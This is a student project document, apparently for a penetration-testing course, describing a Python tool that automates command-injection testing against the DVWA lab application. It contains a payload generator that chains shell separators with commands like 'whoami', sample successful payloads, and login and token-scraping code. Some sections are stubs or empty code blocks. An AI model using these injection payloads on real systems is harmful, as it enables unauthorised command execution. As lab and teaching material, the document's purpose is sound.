# PRD - Command Injection Testing Tool

## 1. Title Page

**Command Injection Tester Tool**
**Developer:** Khaled Al Hater
**ID:** 2023050048
**Project Date:** December 2024
**Course:** Cybersecurity Penetration Testing

**Table of Contents**



---

## 2. Abstract

A sophisticated command injection testing tool designed specifically for DVWA (Damn Vulnerable Web Application). The tool automates the process of detecting command injection vulnerabilities by systematically testing various injection payloads and analyzing server responses. It features intelligent response parsing, ping stripping capabilities, and batch testing functionality, making it an essential tool for security professionals and penetration testers.

---

# 3. Introduction

## Tool's Purpose

The Command Injection Tester is a specialized security assessment tool that:

- Automates detection of command injection vulnerabilities in web applications
- Tests multiple injection techniques and payload variations
- Provides comprehensive reporting and result analysis
- Supports batch testing for large-scale security assessments

## Problem Solved

- **Manual Testing Challenges**: Traditional command injection testing requires manual payload crafting and response analysis
- **Time Consumption**: Automated testing significantly reduces assessment time
- **Coverage Gaps**: Ensures comprehensive payload coverage that might be missed manually
- **Result Consistency**: Provides standardized testing methodology and reporting

## Applications

- Web application security testing
- Penetration testing exercises
- Educational environments (DVWA labs)
- Security research and development

---

# 4. Methodology

## Development Approach

- **Iterative Development**: Incremental feature addition and testing
- **Modular Design**: Separation of concerns through dedicated modules
- **Error-First Approach**: Comprehensive error handling from initial development

## Technical Stack

```
Python

# Core Libraries
import argparse, re, sys, requests
from requests.exceptions import RequestException

# Custom Modules
- banner.py: User interface and display
- html_helpers.py: HTML parsing and extraction
- ping_stripping.py: Response filtering
- dvwa_helpers.py: DVWA interaction logic
- payloads.py: Payload generation engine
```

Essential Code Snippets

Payload Generation Algorithm

Python

```python
def generate_payloads(cmd, base_ip="127.0.0.1"):
    seps = [';', '|', '&', '&&', '||', '`', '$(']
    payloads = []
    for sep in seps:
        p1 = f"{base_ip}{sep}{cmd}"
        p2 = f"{sep}{cmd}"
        payloads.extend([p1, p2])


    for template in EXTRA_COMMAND_INJECTION_PAYLOADS:
        payloads.append(template.format(cmd=cmd))

    return list(filter(lambda x: '\n' not in x and '\r' not in x, payloads))
```

Response Analysis Algorithm

```
def analyze_response(html, reference_output):
    extracted_text = extract_pre_text(html)
    cleaned_text = strip_ping_lines(extracted_text)
    return reference_output in cleaned_text
```

## 6. Input and Output Handling

### Input Methods

### Terminal Input

```
python main.py -u http://localhost/dvwa -p ip -c "whoami"


python main.py --test-file test_inputs.txt
```

### File Input Format

# test_inputs.txt format

url|username|password|parameter|command|data

http://localhost/dvwa|admin|password|ip|whoami|Submit=Submit

#### Output Methods

#### Terminal Output

```
[1/25] [+] Success with: 127.0.0.1;whoami
[2/25] [-] Failed: 127.0.0.1|whoami
Success rate: 4/25 (16.0%)
```

#### File Output

- **Successful payloads**: successful_payloads.txt
- **Test results**: test_results_YYYYMMDD_HHMMSS.txt
- **Custom output**: User-specified files via --output-file

#### 7. Error Handling

### Input Validation

```
def require(ok, msg):
    if not ok:
        print(f"[-] {msg}")
        sys.exit(1)

def parse_extra(s):
    extra = {}
    for item in s.split('&'):
        if '=' not in item:
            raise ValueError(f"Invalid POST pair: {item}")
        k, v = item.split('=', 1)
        extra[k] = v
    return extra
```

### Runtime Error Handling

```
try:
    dvwa_login(sess, base_url, args.username, args.password)
except RequestException as e:
    print(f"[-] Login failed: {e}")
    sys.exit(1)
```

### Output Error Handling

- Empty response detection
- Network timeout management
- Invalid HTML structure handling

## 8. OOP and Class Design

### Refactored Class Structure

```
class CommandInjectionTester:
    def __init__(self, base_url, username, password):
        self.session = requests.Session()
        self.base_url = base_url
        self.credentials = {'username': username, 'password': password}

    def login(self):

        pass

    def test_payload(self, payload, parameter, extra_data):
```

```
        pass

class PayloadGenerator:
    def __init__(self, base_command, base_ip="127.0.0.1"):
        self.base_command = base_command
        self.base_ip = base_ip

    def generate_basic_payloads(self):

        pass

    def generate_advanced_payloads(self):

        pass

class ResponseAnalyzer:
    def __init__(self, reference_output):
        self.reference_output = reference_output

    def extract_pre_content(self, html):



        pass

    def strip_ping_lines(self, text):

        pass
```

**OOP Benefits Applied**

- **Encapsulation**: Each class handles specific functionality
- **Reusability**: Components can be reused in other security tools
- **Maintainability**: Easy to update individual components
- **Extensibility**: New features can be added as new classes/methods

---

**9. Network and Web Features**

**Web Scraping Implementation**

**Web Scraping Implementation**

```
```

```
def extract_pre_text(html):
    m = re.search(r'<pre[^>]*>(.*?)</pre>', html, re.I | re.S)
    if not m:
        return ""
    text = re.sub(r'<[^>]+>', '', m.group(1))
    return text.replace('\r\n', '\n').replace('\r', '\n').strip()

def extract_user_token(html):
    m =
re.search(r'name\s*=\s*["\']user_token["\']\s+value\s*=\s*["\']([^"\']+)["\']'
,
                  html, re.I)
    return m.group(1) if m else None
```

Network Programming Features

```
session = requests.Session()
session.headers.update({
    "User-Agent": "Mozilla/5.0",
    "Content-Type": "application/x-www-form-urlencoded"
})


try:
    response = session.post(url, data=payload, timeout=15)
    response.raise_for_status()
except RequestException as e:
    print(f"Network error: {e}")
```

10. Output Visualization (Optional)

Results Visualization Concept

```
# Potential matplotlib integration
import matplotlib.pyplot as plt

def visualize_results(success_count, total_count):
    labels = ['Successful', 'Failed']
    sizes = [success_count, total_count - success_count]
    colors = ['#4CAF50', '#F44336']

    plt.pie(sizes, labels=labels, colors=colors, autopct='%1.1f%%')
    plt.title('Command Injection Test Results')
    plt.show()
```

**Potential Visualizations**

- Success rate pie charts
- Payload effectiveness bar graphs
- Response time analysis charts
- Vulnerability trend lines

---

**11. Future Work and Recommendations**

**Immediate Improvements**

- **Graphical User Interface**: Web-based or desktop GUI
- **More Target Support**: Beyond DVWA to other platforms
- **Enhanced Payloads**: AI-generated adaptive payloads
- **Performance Optimization**: Concurrent testing capabilities

**Advanced Features**

- **Machine Learning Integration**: Intelligent payload selection
- **API Testing Extension**: REST API command injection testing
- **Report Generation**: PDF/HTML formatted reports
- **Integration Framework**: Plugins for other security tools

**Technical Enhancements**

- **Database Backend**: For storing test results and patterns
- **Cloud Deployment**: SaaS model for team collaboration
- **Mobile Application**: On-the-go security testing

---

**12. Conclusion**

**Achievements**

- Successfully developed a comprehensive command injection testing tool
- Implemented advanced response parsing and analysis
- Created a modular, maintainable codebase
- Demonstrated practical application of cybersecurity concepts

**Learning Outcomes**

- Deep understanding of command injection vulnerabilities

- Practical experience with web scraping and parsing
- Enhanced skills in Python development and security tool creation
- Knowledge of professional testing methodologies and reporting

**Tool Impact**

- Provides valuable utility for security professionals
- Serves as educational resource for cybersecurity students
- Demonstrates best practices in security tool development
- Contributes to the open-source security testing ecosystem

---

**13. References**

**Technical References**


1. **DVWA Official Documentation**: http://www.dvwa.co.uk/
2. **OWASP Command Injection**: https://owasp.org/www-community/attacks/Command_Injection
3. **Requests Library Documentation**: https://docs.python-requests.org/
4. **Python Regular Expressions**: https://docs.python.org/3/library/re.html


**Academic Resources**


- **Web Application Hacker's Handbook** by Dafydd Stuttard
- **The Art of Software Security Assessment** by Dowd et al.
- **OWASP Testing Guide**: https://owasp.org/www-project-web-security-testing-guide/


**Development Tools**

- **Python 3.8+**: Primary development language
- **PyCharm IDE**: Integrated development environment
- **Git**: Version control system
- **DVWA**: Target testing environment